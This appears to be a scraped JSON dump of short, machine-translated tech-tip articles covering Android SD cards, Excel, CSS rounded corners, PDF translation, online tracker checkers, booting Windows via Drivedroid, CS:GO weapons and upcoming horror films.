introduced on Android 6.0 Marshmallow, allows you to format a microSD memory card for use as internal memory, adding capacity to the phone's main memory. If your phone supports this feature you can use it right in the memory settings and even install the application straight to the memory card. See details in the section below.\nTransfer application to memory card on Android rooted As mentioned above, although Android has the ability to transfer applications to memory cards, not all devices and applications support it. If you want to transfer unsupported applications, you can still do it but you need to root your Android device first.\nBoth how to use the memory card as internal memory and transfer the application on Android root has been introduced in detail by TipsMake.com: Instructions for installing Android application on SD card, you are interested to read.\nI wish you all success.\nRefer to some of the following articles:\nHere's how to find hidden games on Android phones Summary of priceless shortcuts on Android To run Android applications on Windows computers, read this article Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0edOoZK2qkaPAp7HRZpipqJyesKLAyKilrGWWp7yuecyepKiqqWLBsHnSnWSmnZ2kv7p5wpqpnWWfo3qiusOrpqKcXZmyt7XCng%3D%3D\n","link":"/post/instructions-to-transfer-applications-from-memory-to-sd-memory-card-on-android-device/","section":"post","tags":null,"title":"Instructions to transfer applications from memory to SD memory card on Android device"},{"body":"It has a unique exterior design with flaming flames, incorporating Nvidia's proprietary graphics technologies, delivering high quality images.\nEON18 is a laptop of Origin (USA), an 18.4-inch LCD screen with full HD resolution, via HDMI port, you can connect your computer to HDTV high-definition television.\n  Laptop keyboard has more handy touch buttons for controlling media features.\nOrigin allows users to choose different hard drives. You can set up 3 hard drives to expand the capacity up to 2TB. Dual GeForce GTX 280M graphics cards incorporate Nvidia PureVideo HD technology, Nvidia PhysX and Nvidia CUDA, laptops will deliver the best quality graphics compared to any standard gaming computer.\n  To ensure the safety of the data in the machine, Origin has integrated a fingerprint reader.\nUsers can also choose to buy an Eon18 laptop with an Intel Core 2 Quad processor or an Intel Core 2 Duo processor, and a 64-bit Windows 7 Home Premium or Windows 7 Ultimate operating system. It uses 7.1 surround sound technology, giving clear and realistic sound.\nIn addition, it also has Bluetooth port, WIFI, 7-in-1 card reader, 3 high-speed USB 2.0 ports, USB port, ExpressCard slot, VGA, HDMI port, microphone jack, headset and 4 front speakers , a 2-megapixel webcam.\n  Users can also choose different colors. EON18 is sold at a starting price of $ 2,599.\nncG1vNJzZmismaXArq3KnmWcp51ksrC6kHFkpZmgqbyxedaiq6FlmaPBprPRmquenF2dsbXCjKCYpp0%3D\n","link":"/post/laptop-with-integrated-hdtv-game/","section":"post","tags":null,"title":"laptop with integrated HDTV game"},{"body":"In the update of Windows 10 build 19018, which will be widely released to users in the next few weeks, Microsoft will delete the Downloads folder in Disk Cleanup due to many complaints from users. This means users will not be able to quickly delete the Downloads folder or the files in this folder via the Windows Disk Cleanup tool.\nThis move of Microsoft to avoid the situation when using Disk Cleanup to clean up the free space of the C drive, users often delete important files that have not been backed up elsewhere.\n  The Disk Cleanup program on Windows 10 was added by Microsoft to the Downloads folder when the Windows 10 October 2018 update was released. By selecting this option, users can delete unnecessary files in many different locations on the systems like Recycle Bin, old thumbnails, Windows Update files, etc. without the need for additional tools to quickly free up disk space.\nHowever, after a period of use of this feature many users complain that the Downloads folder causes them to accidentally delete important files because they often select all the options and start the cleaning process when booting Disk Cleanup.\nThe decision to delete the Download folder from Microsoft's Disk Cleanup shows that the tech giant has listened to user feedback.\nChanges in Windows 10 19H2 coming soon, should an upgrade? Microsoft has integrated the FPS counter in Windows 10 October update Users cannot uninstall Edge browser on Windows 10 ncG1vNJzZmismaXArq3KnmWcp51kuqqv0aiqqJ6kYsSquMtmm56klamybsDHnmSdp6ejubCtw6xkn6ecmbKzecinZJ2ho6B6pLjEmqWuqF2ku27DyKebqK%2BjYn5xeZFpn2o%3D\n","link":"/post/microsoft-will-delete-the-downloads-folder-in-disk-cleanup-on-windows-10-20h1/","section":"post","tags":null,"title":"Microsoft will delete the Downloads folder in Disk Cleanup on Windows 10 20H1"},{"body":"In the nearly 90-second trailer of the movie \"007: No Time to Die,\" viewers outside of the sight of the action scenes will find the appearance of a new Nokia 5G smartphone model coming soon.\n According to the online community, Nokia may have partnered with James Bond to promote both the movie and the upcoming 5G smartphone model of Nokia.\nIn addition to James Bond, the trailer features a female detective holding a Nokia 5G smartphone. She opens the image by calling the Google Assistant, then navigating, typing, and more.\n Previously, a number of Reddit posts soon revealed images of a new Nokia smartphone, possibly Nokia 8.2 or 8.3.\nNokia's 5G smartphone will have a circular camera module with a total of 4 cameras, an LED flash in the middle, a fingerprint sensor below the screen, and a 3.5mm headphone jack.\nAccording to some revelations, Nokia 7.2 and Nokia 3310 also appear in the latest trailer of the Spy series 007. It is expected that this film will leave the screening schedule on November 25, 2020 in the context of the ongoing Covid-19 epidemic. onions.\nAccording to the product director of HMD Global (the company that owns the Nokia brand name), Juho Sarvikas said the company will hold a press conference in London on March 19. In addition, the company also plans to launch a Kevlar case with James Bond 007 version for Nokia 6.2 and Nokia 7.2.\nThe movie trailer JAMES BOND 007: NO TIME TO DIE appeared footage related to the new Nokia smartphone\nRefer to Gizchina\nncG1vNJzZmismaXArq3KnmWcp51ku7C3yJpkbp9dosa0wMSroKito6HGbq3PqZyaqpWZeqq6jK2fnmWWlrqwwdJmqqmxXaK8t7XEZqurmZmhsrN5j2luZqafYsGqucRmq6hllJ6y\n","link":"/post/nokia-5g-mysteriously-appeared-in-the-famous-spy-movie-trailer-007-no-time-to-die/","section":"post","tags":null,"title":"Nokia 5G mysteriously appeared in the famous spy movie trailer '007: No Time to Die'"},{"body":"Excel does not split separate pages like in Word, but when printed, they will need to be broken down into individual pages. And you can also number the page for Excel like Word, can optionally number the page from one or the page number in Excel does not start from 1. That is the content mentioned in this article of TipsMake. vn .\n  To page numbering in Excel not starting from 1 we need to follow these steps:\nStep 1: Go to the ribbon Page Layout on the toolbar.\nThen click on the expand button of the Page Setup item in this ribbon.\n  Step 2: The Page Setup function window box will pop up. Here you can see the First page number section . Please enter the number you want to start numbering in Excel.\nAs in the example, TipsMake wants to number the page starting at 2, so it will fill 2 in the First page number .\nThen remember to press OK to confirm the installation.\n  Step 3: Open the ribbon View on the toolbar, then switch the Excel view from Normal to Page Layout . With this view you can see the data in Excel as individual pages when printing.\n  Step 4: Click on Header or Footer of Excel file. This position will be the position to insert the page number when the data is printed. When you click on one of those six positions, the toolbar interface will automatically switch to the Header \u0026amp; Footer ribbon .\n  Step 5: Click the Page Number icon located in the Header \u0026amp; Footer Elements section of this ribbon. And \u0026amp; [Page] will be inserted in the location of your choice, this is a variable field used to number the page for your data.\n  When you click to another location of Excel data you will see the number of pages typed in the correct position and the first page will start with the number you have installed.\n  Thank you for reading our article on how to number numbers in Excel without starting from 1. Hopefully TipsMake.com 's article has comprehensive instructions on how to do it successfully. This technique for your data pages.\nncG1vNJzZmismaXArq3KnmWcp51kvaKzxGalrqWSmr%2BqusZmoKdlla2wpriMnaaeq12jvLV50q2Yq6xdm7%2BwuYxq\n","link":"/post/page-numbering-in-excel-does-not-start-from-1/","section":"post","tags":null,"title":"Page numbering in Excel does not start from 1"},{"body":"The Rounded Corner in CSS is the use of the border-radius attribute to circle the elements.\nThe Border-radius property in CSS The Border-radius attribute in CSS is used to determine the radius of the element's corners and round it to that radius.\nFor example:\n1. Bo round the corners of an element with the specified background color\n  #rcorners1 {  border-radius: 25px;  background: #58257b;  color:white;  padding: 20px;  width: 200px;  height: 150px; }  2. Round the corners of an outer border element\n  #rcorners2 {  border-radius: 25px;  border: 2px solid #58257b;  padding: 20px;  width: 200px;  height: 150px; }   3. Bo round the corners of an element with the background as a defined image\n  #rcorners3 {  border-radius: 25px;  background: url(paper.gif);  background-position: left top;  background-repeat: repeat;  padding: 20px;  width: 200px;  height: 150px; }  Full code:\n\n\n\n\n\n  Round the corners of an element with the specified background color:\n\n Rounded Corner in CSS\n\n Bo round the corners of an outer border element:\n\n Rounded Corner in CSS\n\n Bo round the corners of an element with the background as a defined image\n\n Rounded Corner in CSS\n The value of the corners of border-radius The border-radius attribute can have from one to four values. First you need to distinguish the corners in an element:\n Corner-1: top-left corner Corner-2: top-right corner Corner-3: bottom-right corner Corner-4: bottom-left corner 1. The border-radius case has 4 values These four values ​​will correspond to four corners: border-radius: angle-1 angle-2 angle-3 angle-4\nFor example:\n  #rcorners1 {  border-radius: 15px 50px 30px 5px;  background: #58257b;  padding: 20px;  width: 200px;  height: 150px; }  2. The border-radius case has 3 values These three values ​​correspond to the following:\nFirst value: Angle -1 Second value: Angle-2 and Angle-4 Third value: Angle-3 For example:\n  #rcorners2 {  border-radius: 15px 50px 30px;  background: #58257b;  padding: 20px;  width: 200px;  height: 150px; }  3. The border-radius case has 2 values These two values ​​correspond to the following:\nFirst value: Angle -1 and Angle-3 Second value: Angle-2 and Angle-4 For example:\n  #rcorners3 {  border-radius: 15px 50px;  background: #58257b;  padding: 20px;  width: 200px;  height: 150px; }  4. Border-radius case has 1 value This value applies to all four corners, creating an image with equal angles\nFor example:\n  #rcorners4 {  border-radius: 15px;  background: #58257b;  padding: 20px;  width: 200px;  height: 150px; }  Full code :\n\n\n\n\n\n  Border-radius: 15px 50px 30px 5px:\n\n \u0026nbsp;\n Border-radius: 15px 50px 30px:\n\n \u0026nbsp;\n Border-radius: 15px 50px:\n\n \u0026nbsp;\n Border-radius: 15px:\n\n \u0026nbsp;\n Previous post: CSS Specificity\nNext article: Border Image - Create a picture border in CSS\nncG1vNJzZmismaXArq3KnmWcp51kv7DBzZ2cnWWTpL%2BvsdFmoKdlk6jA\n","link":"/post/rounded-corner-in-css/","section":"post","tags":null,"title":"Rounded Corner in CSS"},{"body":"Most high quality documents are saved in PDF format. But sometimes you may encounter PDFs with content in a foreign language and make it difficult for you to read.\nFollow this article to learn how to translate PDF documents and make reading foreign languages ​​easier!\n  The fastest and most standard way to translate a PDF document Method 1: Use Google Translate Google Translate is one of the leading text translation services in the world, supporting over 100 different languages. We can use Google Translate to translate documents as follows:\nStep 1: Visit the Google Translate dynamic translation page:\nhttps://translate.google.cn/m/translate?hl=en\nSelect the output language card as Vietnamese:\n  Step 2: Select the Documents tab .\n  Select Browse your computer .\n  Step 3: Select your PDF file \u0026gt;\u0026gt; Open.\n  Note that the maximum PDF file to upload is 1MB, if your file is larger than 1MB, it must be cut into several parts.\nStep 4: After the file is uploaded, click Translate.\n  The results will be returned immediately by Google Translate:\n  Method 2: Use English translation software VIKI Translator Step 1 : Go to https://sourceforge.net/projects/vikitranslator/postdownload to download and install VIKI Translator as usual.\nStep 2 : Start VIKI Translator.\n  Step 3: Open your PDF file, highlight the text you want to translate and press Ctrl + D to translate.\n  VIKI Translator's translation interface will automatically appear and translate your text.\n  Use OnlineDocTranslator OnlineDocTranslator is an online translator, you will upload a PDF file to start translating.\nStep 1: Go to https://www.onlinedoctranslator.com/, click Translate now.\n  Step 2: Select Upload File.\n  Select your file and Open.\n  Step 3: When the upload process is complete, select the language Vietnamese \u0026gt;\u0026gt; Translate.\n  After about 10 seconds of preparation, a new PDF file will be downloaded to your computer along with the translated content.\n  Above are 3 ways to translate PDF documents into Vietnamese quickly and standardly. Wishing you a successful practice!\nncG1vNJzZmismaXArq3KnmWcp51kwamxjJ%2BYrKyVqMFurc2dZKano6l6tMDAp5uaqpRixKLFjK2mZqyilru0uMCtnGaZXaWxp3nDqJqupZWjwQ%3D%3D\n","link":"/post/the-fastest-and-most-standard-way-to-translate-a-pdf-document/","section":"post","tags":null,"title":"The fastest and most standard way to translate a PDF document"},{"body":"Firefox Rocket is Mozilla's new web browser designed specifically for Android. This web browser is quite light, less energy-consuming than regular Firefox browsers. It also has a number of other unique features. However, if you download Firefox Rocket directly from the Google Play store, it will be limited, and only users in Indonesia can use it.\nHowever, if you really want to experience this browser (even if you are not in Indonesia), you can download the APK (Android application package - Android installer application) from Apk Mirror then download Firefox Rocket directly to the phone. Firefox Rocket requires a minimum Android Lollipop 5.0 operating system.\nhttps://www.apkmirror.com/apk/mozilla/firefox-rocket-fast-and-lightweight/ Since the browser is specifically designed for Indonesia, when it launches it will display popular Indonesian websites like Tribune News, Tokopedia, Kompaa, Bukalapak, . But users can still use this web browser. normally like other browsers by entering a URL or searching for keywords.\n  In the Firefox Rocket menu there will be shortcuts for: settings, downloads, history, image blocking, cache deletion, etc. In addition, there is a shortcut to enable Turbo mode in the menu. , prevent third-party content, ads, help the site load faster.\n  In settings, users can change the default search engine, default language, delete all browsing data, turn on turbo mode, .\nConclusion: This web browser is a great choice for low-spec devices and uses slow Internet connections like 2G or 3G. It is lightweight but has a faster and stronger web download capability. Although Firefox Rocket is only designed for Indonesians, you can still use it by downloading the side load via APK.\nYou can download Firefox Rocket for Android from the Google Play store.\nSee more:\nTo touch twice to unlock the screen on your Samsung phone Instructions for restoring deleted photos on Samsung phones Instructions for restoring original Android phone settings on versions ncG1vNJzZmismaXArq3KnmWcp51kwamxjK6loqmlmnqnscCtrKudXaSzbrLIq5yfp6hiv7Cvyp6rZpqipMS0sdFmpqdlkaOxs7vInQ%3D%3D\n","link":"/post/the-unique-feature-of-firefox-rocket-browser-on-android/","section":"post","tags":null,"title":"The unique feature of Firefox Rocket browser on Android"},{"body":"Weapons in the Counter Strike: Global Offensive version are somewhat more diverse than previous Counter Strike versions. The index of weapons in CS GO is also different from previous versions.\nIn CS GO's list of weapons there are guns that are considered dangerous and can easily take enemies' lives. Here is a list of the best guns in Counter Strike: Global Offensive.\nHow to enter the practice mode PUBG Mobile Top mobile survival shooter and download link How to install Brawl Stars game on your computer Top of the best weapons in CS: GO MAG-7   As a shotgun with a large damage on the CT side, MAG-7 can completely let the enemy \"break his mouth\" with just one shot. MAG-7 can shoot without bullets like Nova and this is an advantage that makes this gun more preferred.\nMAG-7's price is cheap and gamers can use the remaining money to buy equipment or add a DEagle to supplement MAG-7. But if you use MAG-7 to hunt, you should not fight in large areas and have to watch it properly, it is best to lower the rotation speed.\nXM1014   Although there is no high damage like MAG-7, the speed of XM1014 is faster, and this is the deadly point of a Shotgun. Especially fighting in a narrow area or near distance.\nWatching from the abdomen down, your enemies will not die immediately, but if you look at the abdomen from the abdomen upwards, the chances are high that the enemy will \"fall\". And with a high rate of fire, you can completely eliminate 2-3 or more enemies if they appear at the same time.\nTMP-9   Many gamers call it \"water spray guns\" in the first CS versions. However, in CS: GO, it is very popular in the first round, when gamers do not have much money. With fast firing speed and good stability, TMP-9 is a worthwhile SMG when fighting at close range.\nP90   Although the damage is lower than that of TMP-9 and the price is higher, the P90 deserves the SMG to make gamers have to spend money to own. The attraction of this gun is the fast firing speed with a large number of bullets and easy control.\nNegev   This gun, if plowed to the network, is extremely effective because of its low cost, fast firing speed, high bullets and good stability. These are essential elements for an MG, but those who use this gun are considered \"not beautiful\".\nBecause it has many advantages and the only drawback is that it is a bit heavy, making the player move slowly. With such advantages, the Negev is completely overwhelmed by the opponent if it is safely covered. But for pro gamers, they will never hold the Negev and go plowing.\nDesert Eagle   People often see Desert Eagle in the first round when the player has not enough money to advance to SMG or Shotgun. But if you leave Desert Eagle to support a Sniper Rifle or Shotgun, SMG, that's a perfect combination.\nWith Sniper Rifle, you can DE to do your job when meeting enemies at close range. As for Shotgun and SMG, shoot 1 - 2 DE shots when your main weapon hasn't killed the enemy.\nAUG   If AUG is compared to SG553 then SG553 will be more beneficial in terms of price, the damage is also higher, the ability to penetrate armor is better but with an auxiliary Scope gun like this, the stability is the more important factor. .\nAUG, though having indicators not equal to SG553, has better stability when shooting with Scope. If fighting is close, then surely AUG will prevail over SG553.\nM4A4   M4A4, at first glance, many people will find M4A4 a bit like M4A1-S. Yes because this is a variant of M4A1-S because both have very similar designs. M4A4 has more bullets than M4A1-S 5 members and this is a gun that can be used at different distances.\nIn the distance, you can shoot bursts or tap one by one to get the gun to its effect (minus the distance\u0026gt; 50m). Near the bullets, keep firing continuously but you should also pin down the bullets to get in the right direction.\nM4A1-S   Although the number of bullets is lower than M4A4, M4A1-S has additional silencer accessories, in addition there is a low recoil and is suitable to tap each member at an average distance to a long distance.\nNot to mention the shooting speed of M4A1-S is lower than M4A4, so if you hold the M4A1-S, you will easily headshot enemies rather than using M4A4.\nAK-47   Legend of the rifle line is certainly indispensable in this list already, the AK47 is a special weapon that is loved by many gamers in CS GO because of the high damage, fast bullet release and the price is not too high to own. .\nHowever, to control this gun is a problem. Since the third pill is you will be difficult to control the bullet line of the AK47. So controlling the recoil of the AK47 is a difficult problem even for professional gamers.\nIf you just hold the Ak47, you should shoot one shot at a time or shoot three shots for a long to medium range. In order to dry the tape at close distance, you will be very difficult to control but not to say at mid-range.\nAWM   \"Don't let me see you\", that is a saying for gamers who confront those who hold AWM. Because for many skilled sniper players that hold AWM, the enemy is dead. Even many gamers are killed but don't know where the enemy is.\nThat's not to mention the players who watch tamarind waiting for the enemy to come out. If you are new to using AWM you should practice shooting quickly at long distances, then use the way to shoot guns (shoot 1 switch to another gun and then back to AWM).\nThese are the most dangerous weapons CS GO, based on which you can learn how to deal with each weapon in different circumstances and know how to control each weapon in the game.\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jGpoZpufqru1sdFmqq2qmaCybrPLqJmapF2ks6exzaygr51dnMKvvw%3D%3D\n","link":"/post/top-11-counter-strike-global-offensive-guns/","section":"post","tags":null,"title":"Top 11 Counter Strike Global Offensive guns"},{"body":"The Conjuring 3, Antebellum, A Quiet Place, Train to Busan 2 . are the most anticipated horror movies in 2020.\n1. The Turning (released on January 4, 2020)\nThis horror film is based on the novel \"\" The Turning of the Screw \"by Henry James.\nIn the film, nanny Kate (played by Mackenzie Davis) takes care of Flora (Brooklynn Prince) and Miles (Finn Wolfhard), two orphans in a large house. She quickly realized the two children and the house was full of mysteries.\n2. The Invisible Man (premiered on February 28, 2020)\nThe content of this horror movie is about a woman who is abused and haunted by her ex-lover, but the scary thing is that he faked his death and no one could see him or believe him. alive.\n3. A Quiet Place 2 (premier 20/3/2020)\n  After the success of season 1, John Krasinski decided to bring the audience back to the silent but deadly land, where any noise can make humans a good prey for monsters. superior hearing.\n4. Antlers (premiered on April 17, 2020)\nAntlers is a supernatural, horror movie with content about scary things being locked in a mysterious student's house that a female teacher Julia Meadows (Keri Russell) and her brother are police chief Paul (Jesse Plemons) to face\n5. Antebellum (released on April 24, 2020)\n  Antebellum is predicted to be in a dramatic / horror direction with content revolving around an author trapped in a horrific reality in the past.\n6. Saw: The Organ Donor (released on May 15, 2020)\n  After 8 episodes, the horror series Saw has not stopped yet. The new Saw: The Organ Donor is considered as a spinoff of the film with the participation of two stars Chris Rock and Samuel L. Jackson, which made many audiences curious.\n7. Candyman (premiered on June 12, 2020)\n  The film tells the story of Candyman, a black slave with a tragic past, after his death becomes a demon with a hook-shaped hand that wants revenge for all. This fearsome demon will appear if someone calls his name five times in front of a mirror.\n8. Train to Busan 2 (premiered in August 2020)\n  After the success of the first part, three years after the blockbuster Train To Busan (The Deathly Journey), there is a sequel. The context of part 2 is 4 years after the zombie pandemic. Zombies have invaded the entire Korean peninsula, but there is still a group of survivors against the danger.\n9. Halloween Kills (premiered on October 16, 2020)\n  This is the next film about the notorious murderer Michael Myers, with Jamie Lee Curtis taking on the lead role.\n10. The Conjuring 3: The devil made me do it (premier 11/11/2020)\nThe content of The Conjuring 3 has not been revealed, but many predict that it will revolve around the case of Arne Cheyenne Johnson many years ago. The Conjuring 3 will be directed by Michael Chaves, written by James Wan and David Leslie Johnson-McGoldrick. This is probably the most anticipated horror film this year.\n  6 best hacker movies of all time Top 8 best technology movies ncG1vNJzZmismaXArq3KnmWcp51kfnF5zKiqrWWRo8Gqr8ipmK2dlGK1sL7RqKlmpZ%2Brtqa%2FjGtna2g%3D\n","link":"/post/10-most-anticipated-horror-movies-2020/","section":"post","tags":null,"title":"10 most anticipated horror movies 2020"},{"body":"How much do you like online content? How much do you pay for such content? Or you are like most other users on the Internet, accept advertising and being followed.\nThere is a saying that 'If you don't have to pay for something you will be product' and for Internet services and the media age, this is more true than ever. Finding your followers and tracking data is not easy, but there are a number of websites and browser extensions that can help you discover this. This article will give you some tools to find out who is following you online.\n1. Panopticlick.eff.org Panopticlick is one of the first websites you should use. Panopticlick analyzes your current browser settings such as add and extension add-ons to check how many trackers are tracking your browser session.\nThe Electronic Frontier Foundation research project (EFF) goes one step further by adding unique configuration features that make the browser more visible among tracking data.\nHow to use Panopticlick Visit the Panopticlick website and press the big \" Test Me \" orange button and wait for the analysis process to complete. One thing to note is that depending on your add and extensions, you will receive the following watch different.\n  2. Amiunique.org Am I Unique? is a unique fingerprint analyzer that focuses on fingerprints that your browser uses. The browser is relatively unique and unique, often used to identify users when online.\nAm I Unique grabs the system's fingerprint and adds it to its own database, adding a four-month cookie to your system in the process. After that, you can return to the site after a few weeks and check the changes to your browser fingerprint.\nHow to use Am I Unique? Access the Am I Unique page and click the View My Browser Fingerprint button, wait for the analysis to complete, then check the results.\n  If you want to perform periodic fingerprint analysis, go to the \" My timeline \" tab in the left menu column. Download the add on for the browser (this add on supports Chrome and Firefox) and check for changes periodically.\n3. Disconnect.me/disconnect Disconnect has features in many tracking block lists. Extension blocking browser on 2000 individual trackers to not track you on the Internet. In addition to blocking the tracker, Disconnect also helps the site load up to 27% faster.\nHowever, Disconnect's best feature is an option that allows some trackers to activate and disable some other monitors. If you are a sophisticated Internet user, you should include some websites that give you great content to whitelist, such as Quantrimang.\nHow to use Disconnect Using Disconnect is extremely easy. First, go to the Disconnect page and click the ' Get Disconnect ' button. Disconnect is available for Chrome, Firefox, Safari and Opera (download the links below). After installing Disconnect, access the website and open the extension. The drop down panel shows you the entire tracker range currently recording your browser session.\n  Unlike Panopticlick and Am I Unique, Disconnect allows you to view trackers. As mentioned above, this depends on your other browser settings, but you will see some trackers that directly connect to the site. Some trackers may be harmless or related to your work or business, so be aware of what you turn off.\nDownload Disconnect for Chrome\nDownload Disconnect for Firefox\nDownload Disconnect for Safari\nDownload Disconnect for Opera\n4. Lightbeam Lightbeam is a visual aid tool for online trackers, displaying web pages tracking between websites you visit. However Lightbeam is only available in Firefox, but because of its ease of use, many users still download and use it.\nHow to use Lightbeam Visit the main website of Mozilla Firefox, then download and install the browser. Next, visit the Lightbeam extension page and add this page to your browser. Open extension by clicking on the Lightbeam icon in the top right corner of the browser.\n  First you will see a blank chart, fill in your favorite websites in this chart. Each website will be filled in with a chart with its logo and link tracker. When you access more sites, the links between them will grow, quickly creating a giant link. It perfectly represents your trackers.\nDownload Lightbeam\n5. Trackography.org The trackograph developed by Tactical Technology Collective, it is an open source project aimed at 'clearing the veil of the global tracking industry' by visualizing a variety of trackers that track you on the Internet.\nYou can use Trackography to check:\nWhich company is following you. Countries hosting the servers of those tracking companies. The host country hosts the site you are viewing. Countries store the network infrastructure needed to access that media server and tracking company. Other information about how companies track your data processing relates to their privacy policy. In short, Trackography is a great visual resource if you want to understand more about data streams worldwide.\nHow to use Trackography Go to the Trackography page, select your host country. Next, select a media site that you want to connect. The links will immediately spread from the host country, illustrating your data path, as well as many locations you never know about your data path.\nBlock the tracker Some special tools block your tracking on the Internet (as well as erase your presence online):\nOrigin Origin: Block malicious monitors, ad servers, malware and more.\nHTTPS Everywhere : Turn on HTTPS to protect your data when forwarding.\nNoScript : Block the script from running in the background.\nPrivacy Badger : Block unwanted monitors and cookies.\nPixelBlock : Block tracking pixels in Gmail.\nGoogle Activity Controls : control your Google search history.\nme : Delete your old online account with just one click.\nTor Browser : Use the built-in script blocking feature and action routing protocol to protect your privacy.\nDuckDuckGo : Search the Internet that the tracker cannot store.\nAlthough the list above is not complete, it also helps you somewhat in protecting yourself online.\nRecent disclosures on Facebook have made online tracking and data collection more exposed to the public. For many people, this is the first time they realize everything they do, they say, they watch and read online is recorded and out of their control.\nOnline tracking notifies advertisers about what you are watching online to be able to provide ads related to your interests and stimulate your purchase. You can access a huge amount of free content that is paid for by advertising.\nBut online tracking doesn't matter, it's important that your followers abuse different data to target your profile. Tracking may be harmless but you should control your data, profile and how data is handled.\nSee more:\n5 Chrome extensions protect you from Internet threats 6 plugins to help Firefox impregnable before danger from the Internet 5 ways to ensure users are not 'tracked' on the Internet ncG1vNJzZmismaXArq3KnmWcp51kgm7DwLKqZqyfYrCpscKkZLCgn2K2tHnFqKOlp6eeu6h52KisZqeeobavsQ%3D%3D\n","link":"/post/5-ways-to-check-who-is-following-you-online/","section":"post","tags":null,"title":"5 ways to check who is following you online"},{"body":"TipsMake.com - In the following article, we will introduce you some basic steps to assign the Up and Down function buttons in Excel spreadsheet. To do this, we need to enable the ribbon Developer - operating mode, which is a function tab that has been set up according to certain standards and is available in the default mode. Activating and using this tab is often simpler and much faster than the self-setup tab, the steps below are applied on Microsoft Outlook 2010, but for Excel or Word 2010 , the steps are taken. same.\nFirst, open Office 2010, then click the File menu \u0026gt; Options:\n  Options window displays, select Customize Ribbon and then tick the Developer box below the Main Tabs section. Click OK to save the changes:\n And the Developer tab will display in the toolbar in the form of ribbon as shown below:\n  Here, you click Insert\u0026gt; Spin Button:\n  Next, select the data line to set these buttons:\n  Select Spin Button and click Properties :\n  The corresponding options for this function button will display, you press Control and enter data as required. This link value section will display in the spreadsheet and be applied directly via this value increase or decrease button:\n  Good luck!\nncG1vNJzZmismaXArq3KnmWcp51krqWwjK2fnmWWqrukwMiopWaapanBsLrSZqypZZGjsW6wzrClZqGeYrK5r8Sl\n","link":"/post/add-the-function-buttons-up-and-down-in-excel/","section":"post","tags":null,"title":"Add the function buttons Up and Down in Excel"},{"body":"Sometimes you need to insert another Word file into the Word file you are editing, so when you need you just double click on the file to be able to open that file.\nAttaching files to Word not everyone knows how to do it, for those of you who have not learned much about Word, you will not pay attention to this.\nTo help you, the following article shows you how to attach files to Word.\nStep 1: Open the Word document you need to attach another file, on the Ribbon, select Insert .\n  Step 2: In the Text section of the Insert tab, select Object .\n  Step 3: In the Object dialog box, select the tab Create from File .\n  Step 4: Click Browse to select the file you want to attach.\n  Step 5: After selecting the files to attach, you tick the Link to file and Display as icons to display the link and the icon of the attachment.\nFinally click OK to finish.\n  So you have successfully attached the file, the icon and the link of the attachment will be displayed in Word.\n  To move, you just need to hold and click on the file icon and drag it to the desired location. If you want to open the file, just double click on the file icon will open the file.\nThe article showed you how to attach files to Word, you can attach necessary files to your Word documents. So you can send a Word file and enclose the attached files inside with lots of content. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51krrXAwJyfZpyfmMKusc2tZK2nXay8s7CMn6ClnV2WwbWtwqFkn6Gcmnqquoywpquc\n","link":"/post/attach-document-to-word-file/","section":"post","tags":null,"title":"Attach document to word file"},{"body":"USB, also known as removable disk, is extremely useful but not everyone has it and you don't always use it to restore Windows when you want on your computer. However, you can now use the Drivedroid application on your Android phone to start and install Windows 10 on your computer easily and quickly.\nInstall Windows 10 with Refresh Windows Tool from Microsoft Instructions for controlling Android devices via computer Request Android device has been rooted. Summary of some root ways of Android devices 4.5 GB of free space on Android device. File to install ISO Windows 10. First of all, you need to install the Drivedroid application on your device. Download and install from Google Play store.\nDownload Drivedroid.\nOnce installed, you can run the USB setup to configure the application. Click Setup to start.\n  This will verify that your device is not blacklisted. Click Proceed and grant the application root access.\n  Next, connect your Android device to the computer using a USB cable.\nYou need to choose from a list of USB systems to handle. Most devices will work with the first available USB system.\n  Finally, open the file manager (file manager) on your PC and confirm that your device is connected as a USB or CD drive. This means your device works well with Drivedroid. You can close the Wizard and continue to follow the instructions.\nIf your device doesn't show up, go back to the previous page and try other USB systems until it works.\nCreate Windows 10 Image When you have balanced the initial settings, create a Windows 10 ISO file that boots on your Android device.\nFollow the steps below and make sure your device is still connected to the computer before continuing.\nDownload the latest Windows 10 ISO file and move it to the device's internal memory or SD card.\nStart the Drivedroid and click the \" + \" button at the bottom of the screen\nSelect Add image from file .\n  Name the image and click the magnifying glass icon to select the path of the ISO file. Once completed, click the checkmark to save it.\n  Click on the newly created entry and select one of the storage options. Here, the CD-ROM will work.\n  Windows 10 Image will be mounted right now. A message will appear on the phone indicating the successful image connection.\n  Finally, restart your computer and boot from the drive where Windows ISO is mounted.\nIt is done! Now Windows 10 will boot normally and you can continue the installation process from there.\n  Drivedroid application allows connecting and installing Windows 10 from Android root device easily without USB or CD ROM. Try and share your thoughts on this app!\nncG1vNJzZmismaXArq3KnmWcp51ksKK6jKJkoqajqa6tuIywoKecn6zAbn2PZp2rp51iurp5wKebq6eZmXqxtM6nnGagkauybsXOrmStqpmasW610w%3D%3D\n","link":"/post/can-i-install-windows-10-from-my-android-phone-have-you-tried-it/","section":"post","tags":null,"title":"Can I install Windows 10 from my Android phone, have you tried it?"},{"body":" This wikiHow teaches you how to change the size of icons and text on your Windows computer's screen by increasing or decreasing your computer's resolution. Right-click the desktop. This will prompt a drop-down menu.\nMethod 1of 5:\nWindows 10  Right-click the desktop. This will prompt a drop-down menu.\n  Click Display settings. It's toward the bottom of the menu.\n  Scroll down and click Advanced display settings. This link is at the bottom of the page.\n  Click the bar beneath the \"Resolution\" heading. Doing so will invoke a drop-down menu with different resolution values (e.g., \"800 x 600\").\n  Click a resolution value. The resolution best-suited to your computer's screen will say \"(Recommended)\" next to it. The higher the resolution number is, the smaller your computer's text and icons will appear.   Click Apply. It's below the \"Resolution\" bar. Clicking this button will apply your selected resolution to the screen.\n  Click Keep changes. If you don't like your new resolution settings, you can click Revert or simply wait for a few seconds until the resolution automatically reverts to your computer's default setting.\n Method 5of 5:\nWindows ME  Using a mouse, right click on an empty part of the screen. There should be a pop-up menu that appears.\n  Scroll over to View. Select how big you want your icons to be.\n  Micah Soto Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYlruosYytn55lo5i%2FprHNZqmeq5%2BhwrW1zqdkqKZdlnqxrw%3D%3D\n","link":"/post/how-to-change-the-screen-resolution-on-a-pc/","section":"post","tags":null,"title":"How to Change the Screen Resolution on a PC"},{"body":"YouTube channels have video channels for users to track and receive notifications from YouTube channels as 